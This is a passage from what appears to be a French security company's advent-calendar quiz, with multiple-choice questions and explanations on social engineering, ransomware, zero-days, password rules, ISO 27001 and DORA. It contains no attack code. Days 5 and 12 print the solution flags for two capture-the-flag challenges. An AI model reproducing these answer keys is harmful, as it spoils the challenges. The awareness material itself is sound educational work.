  • Réponse 2 : L’utilisation de technologies dans la sécurité des réseaux sociaux
  • Réponse 3 : Un protocole de sécurité pour les ingénieurs
  • Réponse 4 : Une méthode frauduleuse d’obtention d’informations

Laïus explicatif : L’ingénierie sociale est un processus frauduleux visant à tromper les individus pour obtenir certaines informations personnelles ou confidentielles, voire un accès direct à un système informatique. Il consiste souvent à se faire passer pour quelqu’un d’autre, tout en jouant sur des ressorts psychologiques.

Les attaques d’ingénierie sociale sont courantes et peuvent prendre différentes formes, telles que le phishing, le vol par diversion, le SMiShing (phishing par SMS), le pretexting, l’arnaque sentimentale (honeytrap), le tailgating/piggybacking etc.

Jour 11 : Parmi ces données, lesquelles seraient selon vous les plus attractives pour un cyberattaquant ?

  • Réponse 1 : Des informations de quelques clients (nom, prénom, adresse physique, email, téléphone)

  • Réponse 2 : Une liste d’une vingtaine d’emails professionnels

  • Réponse 3 : Une carte « black » avec adresse du propriétaire et CVV

  • Réponse 4 : Un numéro de carte bancaire

Laïus explicatif : La carte « black » et ses détails sera plus attractive pour un cyberattaquant car ce type de carte appartient généralement à des personnes avec un certain niveau de revenu ou des personnalités publiques. Le cyberattaquant pourra directement frauder ou vendre ces informations à un prix plus élevé qu’un numéro d’une carte bancaire lambda sur le marché noir. Les données à caractère personnel commencent à devenir rentables lorsqu’elles sont nombreuses, récentes, réutilisables et couplées à d’autres types de données (données de santé et données bancaires notamment). La donnée peut servir divers objectifs bien souvent motivés in fine par l’appât du gain :

  1. La fraude financière
  2. Le détournement pour d’autres cyberattaques (campagne de phishing, usurpation d’identité)
  3. La revente à des plateformes de marketing : filon davantage exploitée par les GAFAM

Jour 12 : CTF #2 de l'avent

Voici la solution du CTF #2 de l’avent

  • Flag : CWATCH{JAN_FABRE}

Jour 10 : Parmi ces 4 choix, lequel définit le mieux une Due Diligence IT/Cyber ?

  • Réponse 1 : un audit organisationnel et technique IT/Cyber d’une entreprise en prévision de l’entrée au capital d’un nouvel actionnaire
  • Réponse 2 : un audit organisationnel et technique IT/Cyber d’une entreprise à la suite de l’entrée au capital d’un nouvel actionnaire
  • Réponse 3 : un questionnaire IT/Cyber envoyé à une entreprise dans le cadre d’une opération d’investissement
  • Réponse 4 : un audit de conformité permettant de s’assurer que l’entreprise ciblée répond à ses obligations réglementaires

Laïus explicatif : Une Due Diligence est un audit réalisé dans le cadre d’un projet d’investissement (ex. LBO) concernent généralement des enjeux financiers, juridiques, opérationnels, RSE et IT/Cyber.

Une Due Diligence IT/Cyber est un audit permettant d’éclairer la décision d’investissement, en analysant la posture cyber de l’entreprise, ses pratiques et ses éventuelles vulnérabilités. Elle permet à l’investisseur, un fonds d’investissement par exemple, d’obtenir une appréciation argumentée de la maturité de l’entreprise, et ainsi déterminer les efforts et moyens nécessaires par la suite pour renforcer le niveau de sécurité de l’entreprise.

Almond réalise régulièrement des Due Diligence IT/Cyber pour le secteur du Private Equity, en y associant une évaluation externe automatisée avec la solution Security Rating de Board of Cyber mais également des investigations ciblées type OSINT.

Jour 9 : Quelle est la part de la consommation d'électricité globale imputable aux Datacenters ?

  • Réponse 1 : 0,01%

  • Réponse 2 : 0,1%

  • Réponse 3 : 1,5%

  • Réponse 4 : 10%

Laïus explicatif : La quantité de Datacenters à travers le monde connaît une hausse significative et cette tendance perdure. Malgré les efforts des constructeurs pour réduire et rationaliser leur consommation d’énergie, ces infrastructures sont responsables de 1,5 % de la consommation électrique globale, d’après les données de l’Agence Internationale de l’Énergie (IEA.org).

Jour 8 : Qu'est-ce qu'une "Zero Day" ?

  • Réponse 1 : Une faille informatique déjà corrigée par le fournisseur avant que vous ne le sachiez

  • Réponse 2 : Une vulnérabilité ne disposant pas de solution de mitigation

  • Réponse 3 : Une faille de sécurité qui n’affecte pas les systèmes d’information

  • Réponse 4 : Une vulnérabilité exploitée uniquement le jour de sa découverte

Laïus explicatif : Une « Zero Day » est une vulnérabilité qui n’a pas encore été corrigée ou pour laquelle il n’existe pas de mitigation possible. Potentiellement, des attaquants peuvent déjà avoir connaissance de cette faille et l’exploiter activement : certaines vulnérabilités Zero-Day sont ainsi découvertes par la communauté informatique à la suite d’une attaque qui l’exploite. Les cyber-criminels investissent beaucoup pour découvrir des vulnérabilités avant les chercheurs en sécurité, afin de maximiser les chances de réussite de leurs attaques.

Jour 7 : Selon les nouvelles recommandations de la CNIL, quelle est la meilleure pratique sur la robustesse d'un mot de passe ?

  • Réponse 1 : La longueur

  • Réponse 2 : Une dérivation des mots du dictionnaire (exemple la dérivation du mot Kangourou est k4ng0urOu)

  • Réponse 3 : L’utilisation d’une phrase de passe (7 mots minimum)

  • Réponse 4 : L’utilisation d’une combinaison de 12 caractères comprenant des majuscules, des minuscules et des chiffres, sans caractère spécial obligatoire

Laïus explicatif : Conformément aux récentes directives de la CNIL, l’approche privilégiée pour renforcer la sécurité des mots de passe repose sur une complexité évaluée par l’entropie, plutôt que sur une exigence stricte de longueur minimale. Cette approche vise à accorder une plus grande souplesse dans l’élaboration de politiques de mots de passe, adaptées à divers scénarios d’utilisation. Les trois exemples ci-dessous sont considérés comme équivalents en termes d’entropie, et ils sont tous conformes aux recommandations récentes :

  • Exemple 1 : Les mots de passe doivent comprendre au moins 12 caractères, incluant des majuscules, des minuscules, des chiffres, et des caractères spéciaux choisis parmi une liste d’au moins 37 caractères spéciaux possibles.
  • Exemple 2 : Les mots de passe doivent avoir au moins 14 caractères, incluant des majuscules, des minuscules, et des chiffres, sans obligation d’utiliser des caractères spéciaux.
  • Exemple 3 : Une phrase de passe doit être utilisée, composée d’au moins 7 mots. Cette approche permet aux utilisateurs de choisir des mots de passe répondant à des critères variés, tout en garantissant une sécurité appropriée.

Vous pouvez consulter les recommandations en suivant le lien fourni : Mots de passe : une nouvelle recommandation pour maîtriser sa sécurité | CNIL

Jour 6 : Quel sera le principe innovant principal du Wifi7 ?

  • Réponse 1 : L’introduction de la bande de fréquence 6Ghz

  • Réponse 2 : L’utilisation de largeur de bandes allant jusqu’à 640 Mhz

  • Réponse 3 : La possibilité d’utiliser deux bandes de fréquences simultanément

  • Réponse 4 : Aucune mise à jour requise sur les terminaux

Laïus explicatif : Avec le Wifi 7, il sera possible d’utiliser deux bandes de fréquences simultanément, contrairement au Wi-Fi intelligent actuel qui positionne automatiquement les appareils sur la meilleure bande de fréquences. Conséquences de cette agrégation de fréquences : des débits plus rapides et latences encore réduites. Le 6Ghz est déjà introduit depuis le wifi 6E, les largeurs de bandes ne seront « que » de 320 Mhz sur le 6Ghz avec le Wifi7.

Jour 5 : CTF #1 de l'avent

Voici la solution du CTF #1 de l’avent

  •  Flag : CWATCH{C51H79NO13} 

Jour 4 : Quel type d'attaque peut être qualifié de "triple extorsion" ?

  • Réponse 1 : Une attaque par ransomware
  • Réponse 2 : Une attaque par hameçonnage
  • Réponse 3 : Une attaque par déni de service
  • Réponse 4 : Une attaque par empoisonnement du cache DNS

Laïus explicatif : Le ransomware à triple extorsion est comme son nom l’indique une attaque durant laquelle les cybercriminels menacent de trois façons différentes leur victime.

  1. L’attaquant va demander une rançon à la victime pour qu’il puisse récupérer/déchiffrer ses données
  2. L’attaquant va demander une rançon pour ne pas publier / divulguer les données exfiltrées, il peut aussi demander une rançon pour un délai supplémentaire avant divulgation (retarder le compte à rebours)
  3. L’attaquant va mettre la pression à la victime pour augmenter les chances de paiement de la rançon via des attaques de type DDoS ou des appels téléphoniques, enfin il peut aussi demander des rançons aux victimes collatérales, dont les données auraient fuité indirectement dans l’attaque

Ce type d’attaque permet aux attaquants de maximiser le gain financier pour chaque victime, le ransomware étant déjà l’une des attaques les plus lucratives, il convient d’anticiper ce scénario et de s’en protéger convenablement.

Jour 3 : Parmi ces quatre choix, lequel définit le mieux ce qu’est l’ISO 27001 ?

  • Réponse 1 : Un standard listant un ensemble d’exigences relatives à la sécurité des systèmes informatiques d’une entreprise
  • Réponse 2 : Une norme listant un ensemble de bonnes pratiques permettant d’optimiser la cybersécurité au sein d’une l’entreprise
  • Réponse 3 : Une norme listant un ensemble d’exigences relatives à la sécurité des informations nécessaires à une entreprise
  • Réponse 4 : Un standard listant un ensemble de méthodes pour optimiser les pratiques relatives à la sécurité des informations utilisées par une entreprise

Laïus explicatif : L’ISO 27001 est une norme internationale, dont les entreprises peuvent se prévaloir en se faisant certifier par un organisme indépendant ; elle contient un ensemble d’exigences que chaque entreprise, quels que soient sa taille et son domaine d’activité, doit impérativement appliquer pour obtenir sa certification ; ses exigences constituent donc le référentiel des audits de certification. A ne pas confondre avec la norme ISO 27002 qui est constituée de recommandations, basées sur les bonnes pratiques internationales, permettant d’aider une entreprise à appliquer les exigences de la norme ISO 27001 (donc norme qui ne donne pas lieu à une certification).

Les exigences de la norme ISO 27001 portent sur les informations nécessaires à une entreprise, recueillies et/ou traitées, quel que soit son support, électronique, papier et oral.

Les trois critères de sécurité retenus par la norme ISO 27001 sont la confidentialité, l’intégrité et la disponibilité des informations. Tout événement, qu’il soit d’origine environnementale ou humaine, intentionnelle ou involontaire, impactant un de ces trois critères, relève de cette norme.

Jour 2 : Qu'est-ce qu'une attaque DDoS?

  • Réponse 1 : Un logiciel espion qui enregistre ce qu’écrit un utilisateur
  • Réponse 2 : Un procédé visant à perturber l’accès à un site ou une application
  • Réponse 3 : Un virus informatique qui chiffre l’OS de votre ordinateur en échange d’une rançon
  • Réponse 4 : Une attaque Informatique visant à détermine votre mot de passe en testant un grand nombre de possibilité

Laïus explicatif : Une attaque DDoS ou « Distributed Denial of Service » est une attaque visant à rendre indisponible un site en le submergeant de requêtes provenant de multiples sources. Dans le cas où toutes les requêtes proviennent de la même source, on parle simplement d’attaque DoS (« Denial of Service »), ou « par déni de service ».

Jour 1 : Qu'est-ce que DORA?

  • Réponse 1 : Une jeune exploratrice bilingue
  • Réponse 2 : Un protocole de communication décrit dans le RFC 9364
  • Réponse 3 : Une organisation internationale de régulation de la cybersécurité
  • Réponse 4 : Un règlement qui s’applique aux entités financières et aux tiers prestataires de services informatiques

Laïus explicatif : DORA ou Digital Operational Resilience Act est un règlement européen publié en 2022 et en vigueur depuis janvier 2023. Le règlement traite de la résilience opérationnelle numérique du secteur financier. Il est applicable aux entités financières comme les banques, assurances, entreprises d’investissement, les établissements de paiement, etc. mais également aux tiers prestataires de services informatiques. Les entreprises concernées ont deux ans pour se mettre en conformité. Ils devront donc l’être en 2025 !

Le pilier relatif à la gestion des risques liés aux prestataires tiers de services TIC apparait comme l’un des plus difficile à mettre en place et à maintenir dans le temps pour les entreprises concernées. En quelques mots, les entreprises devront considérer ces risques comme faisant partie intégrante du risque lié aux technologies de l’information et de la communication (TIC) et notamment le risque de concentration, au niveau de l’entreprise mais également au niveau de l’ensemble du secteur financier européen. En effet, les autorités devront analyser ce risque en analysant les registres tenus et communiqués par les entreprises concernées par DORA et qui recense notamment la liste des tiers prestataires de services TIC avec lesquelles les entités financières conclues des contrats.

Pour plus d’informations, consultez notre avis d’expert sur le sujet : https://almond.eu/cybersecurity-insights/explorons-dora/